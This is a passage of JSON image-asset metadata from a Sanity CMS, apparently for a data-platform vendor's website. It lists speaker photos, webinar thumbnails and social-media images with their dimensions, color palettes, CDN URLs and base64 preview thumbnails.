dqKqFlT1oLx5Vt48U7bDxPkzkzjTiQA0AbIAtKlU3Pmwqo0aO9FbM4bFtW/PmgdZtf+4Nnja+PJI6adEl4GEhQYLDQYSBlkAOzRy44M9XzworB4vvB9KH05erg9z6mBi3uGQyWGLxxaHLRYRDhmxoMEhwmEbYDeGeWymF7yM5N+X/HSxO/Vi927eAXEl409IIcGwASABkDCQcMhmY2eHugON2TzJlLzpYpefs6+Y63vSAmESkkF/Jyy0OGQD5FA8NNLz5KG0O1XqcnP2P8+MV5PA4MYcCCYHLRbavwGysZmz+0JCVAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#593145","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":61.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccce4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbd8","foreground":"#000","population":0.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#607594","foreground":"#fff","population":1.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b14c56","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Migraet_MySQL_to_a_new_db_and_cloud_provider_social_media.png","path":"images/sczeoy4w/production/8f77cec0155b43f89c31a94331debb7e8dec2fa4-2500x1308.png","sha1hash":"8f77cec0155b43f89c31a94331debb7e8dec2fa4","size":110606,"uploadId":"x4OisL2eNUx6jQWRXvw5apEcexLwP7HL","url":"https://cdn.sanity.io/images/sczeoy4w/production/8f77cec0155b43f89c31a94331debb7e8dec2fa4-2500x1308.png"} {"_createdAt":"2023-06-29T09:53:50Z","_id":"image-702d2ac07695feb8eb4ca077b5daf3d797e73f01-1567x844-png","_rev":"5PrMMh6I8O3Nt2uPe2suZ7","_type":"sanity.imageAsset","_updatedAt":"2023-06-29T09:53:50Z","assetId":"702d2ac07695feb8eb4ca077b5daf3d797e73f01","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M85~P0-;IUofWB_NxvMxbHR*xuoMaeofae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAAB4klEQVQokX2R7W/SUBSHezvaMRUKFBkk86vR3pbXUkrTdiX6wWh0LhuLOLDLMsptS6EbsC/GlyGbrMD+ZnM7k+kSTZ7cnHuSJ79z7iUiAoqV3aTYT4geK/sZdZSS/YTopaXB45qfkoaJihfST5T78ZJLCQhwFnELUxs+f/NV3J+Vdqdi87Lempf3Z/mdC6l5pbTmlb0fwrvvxd1p8f2Uf/vt6avPjDQEsPdbzuoTuTV/eXxjmEvDXL44vmkcrfTOwjBXhrnUOgutExjmsvbh57PXX540zh9VPACxifOz2lhsXqrtQPl4rRxeq+1g+9OicbRS20F5byYeXKntQOss8jsXrOxH82gN9kBoYnmj5LLKaUYbZ9TRpjba1Me57clW4zynT1L107RyltXHWX2SlH1asAHXxZnQArCH88NL7x5kyP0+F+4JEeARydskj7D8f+6G5LBJ8DbApk0KNgE4i4QWzvmHuQYtGnapcEAC2jgZD4IA7xAb/AlTRPFKf73gkNzdY9xCchYFu1H+hMYZCEAbcOE/QURAh2AL3a2am1PPmOqAziOKR5E/oAX0oGA9LHSjAqIEJyLYEd7GJ64dgq32M7KXrvvJ2jAuerG/iVe9lOSykstUvVh1GDYHYTGIid4vnludMfhJvFcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3863","foreground":"#fff","population":0.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":68.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":68.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3bbd7","foreground":"#000","population":0.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5464b4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54a57","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"June2023_Whats_new_dev_center_blog.png","path":"images/sczeoy4w/production/702d2ac07695feb8eb4ca077b5daf3d797e73f01-1567x844.png","sha1hash":"702d2ac07695feb8eb4ca077b5daf3d797e73f01","size":54096,"uploadId":"F7NEKWSlz1c5YvVleUfB6eiXMppbaX1O","url":"https://cdn.sanity.io/images/sczeoy4w/production/702d2ac07695feb8eb4ca077b5daf3d797e73f01-1567x844.png"} {"_createdAt":"2023-10-25T11:37:37Z","_id":"image-3aa37a589aca21cb42beec12404ff3cd39a43b1a-863x472-png","_rev":"ZLvKaZvfbZlWBlGcpBL2Ba","_type":"sanity.imageAsset","_updatedAt":"2024-01-25T08:13:02Z","altText":null,"assetId":"3aa37a589aca21cb42beec12404ff3cd39a43b1a","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDA9ae6HT3|D1Jw%a]OH#%OGIkRow[OWxH","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8283898305084745,"height":472,"width":863},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACwklEQVQokV3PWU9TaRjA8XOjaMG0hZ6WUko3up2eHrocrHSxLSXSRZaKUmmtEKogFdBxCHEZZiZqZlxjNDETJ5kwid4YE5cbol4YP4KJX8Mrv8DftJiYePHL8148+ed5BY1hji7xO2OVTrFlDs3PDLs6W/vGOQ6YTqLvP4Nz6DZK8n+C8X/xRh8g6E01HJYqLucCdt85LO4l9JZ5NGKN/YZdmhaxhtZYxW0tk3YXGPPlOeSvEY49QM29JJJ9jhz/D8HUVyfirhOPnGM4sYF88Bf6PUv0WBfQ9y/Q3d+a83T11hHNFWakNE9HB9kpDHBnNMNU7h7xwnsO5XeIjr5AMNkWUUJN4qlfiY9eJpzYQIpewB9db5PUC3jDqxgdDUTzSRaVET5P6fha3cO76SEaxb/JTH7g8ORHRgo7CD0DDZzyeZTYJUIjl/BH1vGE1trRVkwevog3vIbYDlbawU+T3Xyp7ON1SaaW2yJRfEty4gOxI28Quq0NHFKzHfKF1/CEVvEMreKSmzgCKzikFXqdjfaXDb0VynKe7UKKV9NpfstMkIxsEhjZRkk9w6s+QjC7llFTm2QLWyTHrpIYu9KerWtbcVewidGxSJephrb3FLK0TnnsPnOlJ2STd3DLf2IP3sWh3MXq+x2hb/Asscwm41N/kCttkclfI1u4hprawB9pXdvE5l/CYJtH27eANXCTcO4Nw+NvkRLb2IK3sAXvYVfuMyDdQOix1nHJS8jD5wmoTaTISvstRVfwDC3jUZZxBs5gtNfRmmsMeDdQU4+JZf4hqF7HLV/GF7qBL3wLV/A6gsYwwwHTcbTmH3R9J9BbftCZj9MpHqPLMI1vcJpKeobl8TKnD+epJIrMpmaZip8iGz2N0KGboEN3lA5daZf++/zJXl2J/d1FVHecv4p2nldFns6KPClbeDjp4Gbey8W0wjdIqoPOVTQ37QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353c6e","foreground":"#fff","population":1.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c145c","foreground":"#fff","population":20.99,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c145c","foreground":"#fff","population":20.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#999dc1","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc846c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b1575e","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f15a08","foreground":"#fff","population":5.41,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"webinar-aiven-for-opensearch-on-gcp.png","path":"images/sczeoy4w/production/3aa37a589aca21cb42beec12404ff3cd39a43b1a-863x472.png","sha1hash":"3aa37a589aca21cb42beec12404ff3cd39a43b1a","size":234579,"title":null,"uploadId":"0qYoB8TTfMLXWl6o1WiVzfLcYUK8ZKdf","url":"https://cdn.sanity.io/images/sczeoy4w/production/3aa37a589aca21cb42beec12404ff3cd39a43b1a-863x472.png"} {"_createdAt":"2023-10-25T14:46:57Z","_id":"image-7643c9042d7c4e47d776cd41a01d47c73070bc64-4480x6720-jpg","_rev":"yGYi2HTu7doJg1fO7gMWr7","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:25:59Z","altText":"Jon Collins","assetId":"7643c9042d7c4e47d776cd41a01d47c73070bc64","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dACss+~p2J0#00adNGJUC8EL]i^P9^Nx$%$MIoaxRPWX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":6720,"width":4480},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAABgACBAUH/8QAJRAAAgEDAgYDAQAAAAAAAAAAAQIDAAQRBTEGEhUhIlETI0Ey/8QAFwEBAQEBAAAAAAAAAAAAAAAABAUAA//EACARAAICAQMFAAAAAAAAAAAAAAACAQMEEhMhESJBUaH/2gAMAwEAAhEDEQA/AA1np0lySIkLY3wK0762aF2R1KkfhpzwJgz3aAqGMeRkUW4oMnUZizD+yuMflZ8hlv2/AWjBSzDm/r3c/A1JGOY5qrKQ+RqpROPVtH0rpbvcq/y3KKeVBsaL6rB1fV3lEbxK3Zl9NTu38rm5x2EZxXOtkSWS4lKj6229n3RXTU8P6LFUrXS1MRxIGueFbpZcJKhXcZqpZKTcyM+SuDjAqrtqkLsIf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c5556","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c7464","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c89075","foreground":"#000","population":9.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2bcbf","foreground":"#000","population":1.75,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c89075","foreground":"#000","population":9.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#93624d","foreground":"#fff","population":2.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac6444","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"jon-collins.jpg","path":"images/sczeoy4w/production/7643c9042d7c4e47d776cd41a01d47c73070bc64-4480x6720.jpg","sha1hash":"7643c9042d7c4e47d776cd41a01d47c73070bc64","size":1830295,"title":null,"uploadId":"GP5kx2IzLTtYV2FMiinB4Lm1lX4tMReW","url":"https://cdn.sanity.io/images/sczeoy4w/production/7643c9042d7c4e47d776cd41a01d47c73070bc64-4480x6720.jpg"} {"_createdAt":"2023-09-18T12:11:44Z","_id":"image-df5ce5673b27ec198272788091bc6f770701cd87-5760x3240-png","_rev":"uLxsw1wzFtwkvaCA8jwOmt","_type":"sanity.imageAsset","_updatedAt":"2023-09-18T12:11:44Z","assetId":"df5ce5673b27ec198272788091bc6f770701cd87","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M77w:i-fISV[V?%jWTRhf-Rj0fIo%2t5WY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3240,"width":5760},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAACxLAAAsSwGlPZapAAACyElEQVQokU2Ra1MaBxSG+QWtSAR22QV2lwVWLoqQgpclRCAymNjEGmzMRblGSgRlCWqKSUSdNpk2k3E605n2xz4d6HSmH86Hcz48857ntTk8T/EGX6FHG4QX2hiJI4xEDyPRx1gaEk6cocXO8Bnn+CMXqNFLlNg1SnQ8vUlBCzFwhEtp4/QfYXP5nhFLHbJy38LMn5It/ky2+B6z+JG1whizeMNq4RdW8p9YK/7OvdIt2dIfmBu3LOc/k7l/w13zA3rcwqW8wSYoeyQyHXIbpxTKI/LlDxQ2x+TLV+RK1xQefqa8/ZUHW18pPLql9ORPNnf+pvzDX9M9//ALudKvzCfPcCtdbHNyhXiihpk9IpnpEkl2SZsD1ounrNw7J7F8wV1zjLl+yXrxktX1T6SyX0is/UY8c0MsfUkkNcJvDHBrFjaXvMNGrs7+Vo+lxTpSoEbxQZ/j1oi93QvCi0MC0QHflwa0dgcUCiPU2Ec8+jsE7QSX0p2+OvHnUi1sgm+HndJrepU+6UQdj1Zl69Fbrt5e0W5cE0meokVO2N2ysA5OKBUtvOEhTv8JDqmBXXzFrKfKHfn1v6U45QrL6QalXIdItI6gVEmmu2w/fsdG+YL5pQnwmFWzz2bJIpXpIYd603Siv4nofY7k30dSW4hqB9ucVCE4v090sYU230TU6ihGm2jKIpIcTtvzG11CC8fEv7MILXSRgx2kQA9FP0TX9wmFagTDbdRQD5tT2CasVohHq4Tih8h6E7cyAbcRA28Q1A4ufwtBbeEJtBCUGk5fDZfSwaP+hKQ0kbU2Xv0YOTjE5nA9RpG2Ceov0IwGolrDIVWnfu54D6duJo4mruziS2aEPWaE5zjkJnO+/8roIwTO8QTfY/vG+YQZ5zZ291Ps4jNmxZfMeg5wyP8HHmAXX0xB37p/nI5DquNUeri1IaI+QgqNkY0b/gHKUIfcZ8421QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a2d62","foreground":"#fff","population":0.34,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040c7c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b257f","foreground":"#fff","population":9.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7bac5","foreground":"#000","population":8.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#919ae7","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#666b94","foreground":"#fff","population":2.9,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b257f","foreground":"#fff","population":9.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"GCustom Devrel video thumbnail template Dark blue.png","path":"images/sczeoy4w/production/df5ce5673b27ec198272788091bc6f770701cd87-5760x3240.png","sha1hash":"df5ce5673b27ec198272788091bc6f770701cd87","size":2038557,"uploadId":"XOaG4Fn87lH2Ke2TJrG0AhzCgUuOZ96b","url":"https://cdn.sanity.io/images/sczeoy4w/production/df5ce5673b27ec198272788091bc6f770701cd87-5760x3240.png"} {"_createdAt":"2023-10-31T12:26:49Z","_id":"image-6f61c4291d4c5af061ace91c31d55524f6f73066-1426x1900-jpg","_rev":"URGvS4Je6KJVSLklv6kxex","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:23:50Z","altText":"Ben Gamble giving speech","assetId":"6f61c4291d4c5af061ace91c31d55524f6f73066","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dE7w$_x_9uVXPXT1M{ROT1ogxFWrIpnhxao#nNRjS$t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7505263157894737,"height":1900,"width":1426},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUDBAYH/8QAJBAAAgIBBAEEAwAAAAAAAAAAAQIDBAAFBhESMRMhQVEjM4H/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAAL/xAAkEQABBAADCQAAAAAAAAAAAAABAAIEEQMTYQUSFCExMlGR8P/aAAwDAQACEQMRAD8A5vt7TtJ1HsGsnqg5YRj3GJN91NLoXFi0mWR16gln885T2hqEWm2bLWH6Kw4B+8a73sxW9MrXK0QYhgDIR5GISpptra62j4Ozycxxd21WtrPtYrAKPQUnqOThlVnLcEoOSPjDLiD8FoRG6+1e1qmotV4U7kNz8e+L9R7141hNl3VT+s8jr/MabwkeLWazxsVb01bkff3k+5IIpaVWxIgM7gBn+ThhJY4ApndGI1xbyqlnY+GjUs7A8YZoYaVYQp+FfGGWcFoRXDwv/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#67362e","foreground":"#fff","population":7.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#063965","foreground":"#fff","population":9.21,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#063965","foreground":"#fff","population":9.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0adb6","foreground":"#000","population":1.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#66a7bc","foreground":"#fff","population":0.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#995647","foreground":"#fff","population":8.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b79a6","foreground":"#fff","population":8.56,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"onstage-ben-gamble.jpg","path":"images/sczeoy4w/production/6f61c4291d4c5af061ace91c31d55524f6f73066-1426x1900.jpg","sha1hash":"6f61c4291d4c5af061ace91c31d55524f6f73066","size":144139,"title":null,"uploadId":"gax4BHVFzLY35ipDCFOd68NBJNajHJRK","url":"https://cdn.sanity.io/images/sczeoy4w/production/6f61c4291d4c5af061ace91c31d55524f6f73066-1426x1900.jpg"} {"_createdAt":"2023-10-31T13:31:40Z","_id":"image-daf1e60d2f150a9d13f767d0f7e46d139818337d-1426x1900-jpg","_rev":"URGvS4Je6KJVSLklv6kxqv","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T09:24:22Z","altText":"Cara Baestlein giving speech","assetId":"daf1e60d2f150a9d13f767d0f7e46d139818337d","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"d26j^1kE00}[4.WCEME10ejF~CS#WX$*~Ct700WB-p9t","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7505263157894737,"height":1900,"width":1426},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAbABQDASIAAhEBAxEB/8QAGwAAAgIDAQAAAAAAAAAAAAAAAAMBBgQFBwj/xAAjEAACAQQBBQADAAAAAAAAAAABAgMABAURMQYhIkFREiMz/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAIDAf/EABoRAAMBAAMAAAAAAAAAAAAAAAABEQISITH/2gAMAwEAAhEDEQA/APMrd5GHvVZF9h77HwxS3du8aSKGUsORSoRu7XZ0uxs/KvnW/UOOvsdaxQSNM8cYQgjjQpttrwpnK1aznDc0VDnyooJQtMy4pMJaoZQt9M/7D6RRWxxeIwF2mpr5VlVSV0f6H5r1VKnG3J97pf5FWBUkH6Kxofl3YMnjInkCDxDECioh7qSed0UCn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4a2c28","foreground":"#fff","population":2.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#481708","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4a2c28","foreground":"#fff","population":2.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdacac","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc9c7c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d716d","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7c3c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"onstage-cara-baestlein.jpg","path":"images/sczeoy4w/production/daf1e60d2f150a9d13f767d0f7e46d139818337d-1426x1900.jpg","sha1hash":"daf1e60d2f150a9d13f767d0f7e46d139818337d","size":87855,"title":null,"uploadId":"TRQQnm8UqZWMNCWTNwtWyxFkDWofCkxv","url":"https://cdn.sanity.io/images/sczeoy4w/production/daf1e60d2f150a9d13f767d0f7e46d139818337d-1426x1900.jpg"} {"_createdAt":"2023-07-05T11:21:29Z","_id":"image-466a46ec15fa90292cf37b2de10f5efef8e0c043-3295x1724-png","_rev":"jCBYOSQQq1vHovrZNpdwoR","_type":"sanity.imageAsset","_updatedAt":"2023-07-05T11:21:29Z","assetId":"466a46ec15fa90292cf37b2de10f5efef8e0c043","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM-{.#i_;Nid}WjZf6j[fkl;a0bvkCcD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAABYUlEQVQokY2SSy8DYRhG384wbahKSSXCli7cFmzt/AH3a0WHKsX0otpSExJ+93OEaauEsPhWX3Jy8j7HWDfYMNg02DbYNdg3ODI4NjgxODVUMFQ0VDJ0bRAYVA1uDe4MGgZNw34EHvQB8xGQb0AFhqqGbg3dGeoB32Hdt2Ww0zE8NMh1DP3IkKLBpUHXsPLVUJ+GMdhLQC4JuQQce5CPg++hUxfOYuhiAJVHUC2FyoOo4qCag+oOasQiw0YXuOPBTRbCVajPQW0WWvPQzKIgA5dDqDyKwhn0uojak6iVRg9j6DGN2sOo5fQBd+NQXYCXNbhfhuYihCvwuISqk1BKoiCFWtPoOYvaU+ghg8IJ9DSBwvc/tw+46cBhEvxxyKfAH4FCCs6TqBCHgouKLioNoiCOKh6qeajuoYaHmu7H/SLgP0aRH63cG+Xqz1F+z0adbL53+Hs2/wy7Z1jqy+aHsN8AlfXkTruj8aUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4ccc4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8c84","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#bda590","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Talon_One_social_media_1200x628_1.png","path":"images/sczeoy4w/production/466a46ec15fa90292cf37b2de10f5efef8e0c043-3295x1724.png","sha1hash":"466a46ec15fa90292cf37b2de10f5efef8e0c043","size":80271,"uploadId":"0um3WwHczTNcNztbFmPMWc5WjMgRJEJF","url":"https://cdn.sanity.io/images/sczeoy4w/production/466a46ec15fa90292cf37b2de10f5efef8e0c043-3295x1724.png"} {"_createdAt":"2023-07-05T11:29:44Z","_id":"image-29837dbb79cfab97a30e4cdd028722e2a6bb2980-3295x1724-png","_rev":"jCBYOSQQq1vHovrZNpiFrv","_type":"sanity.imageAsset","_updatedAt":"2023-07-05T11:29:44Z","assetId":"29837dbb79cfab97a30e4cdd028722e2a6bb2980","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M47neR00xP~p02?vD*xv%LIp00~noM9J^~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9112529002320187,"height":1724,"width":3295},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAB5LAAAeSwG9LhMsAAACdklEQVQokVXS709ScRTHcf4DlwgXLtwL93J/IgI3QjHNVi3XfOBmhKVmKqECIwQFC0sFf+VcOpe1tra2nrYe9ge+G1hbPTj7Pjl7fc/O57j6xRy+8DweaY7+wDzu4CLu4ApuqcCAXMQbfoWg1PFFmvi1FgFjl6DZQbIPke0DJKtNwNhD1N/ij7zGJcjPsBIF9FgB2cgjGwX86ioDcreKeEKV/0DJ2sNOHXPz9h63xpuMPTggkTkmaLYQ1AYudyCHYi+jxV6iRldRo0VCZhFRKxHQKgSNOpLZRDLfIOotrNQR2flP5Nc6zC2UqdZPeVn+ytBIG69Sx3XD/wTZeIGVWMN2SthOhWiqRizdJD7SIpnZJTnaJpraR7bfMf7wnJOzn5xfXLG+vk67fcj55Q8mpy8Q9R1c3R2q9jLxdJnESJXESB1ntEFqrEX6zi7DEx3SE4fEhjs98N7UJVdffnF19ZnZ2RylUomT029MZT8i20fXE0r6IsbQKlaiiJWsYCaq6EM19PgWZvI1RnIHZXCHgLGDM/aeauM7b3fPmJnJ8SS3xGL+mFsTRwTMfVx9QhZ3cBYhNI9feYGo5vEpBbyhNYRwGZ9axR/ZxK9dh6LE2tx9dM7s8zOmH29xb7KKM7qNbDV6wbn6vDO4fVm8gad4pAU80hJCuIAY6QZTQdQ2euDflMODbeKZMzL3P5C+08FMNns93nAFb3gDV78wgxzMEtGeI+krvQnVaBnb2cRymujx7u9d7BqU7X305Ammc9Jbgxip4QmVGZBLeMPVP6CURe2C2gp+NY9il7GcTcxkA21oG6kL/nvYVqf3+tT6NSat925WUGr8Bl4kZlRslq8cAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353164","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141c6c","foreground":"#fff","population":9.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c8d3","foreground":"#000","population":6.94,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b84c1","foreground":"#fff","population":0.73,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#686f95","foreground":"#fff","population":4.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2685","foreground":"#fff","population":8.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Talon_One_social_media_1200x628_4.png","path":"images/sczeoy4w/production/29837dbb79cfab97a30e4cdd028722e2a6bb2980-3295x1724.png","sha1hash":"29837dbb79cfab97a30e4cdd028722e2a6bb2980","size":717325,"uploadId":"SawPJ5gR7ljIz9aH3RFplwLGC1ATC9iJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/29837dbb79cfab97a30e4cdd028722e2a6bb2980-3295x1724.png"} 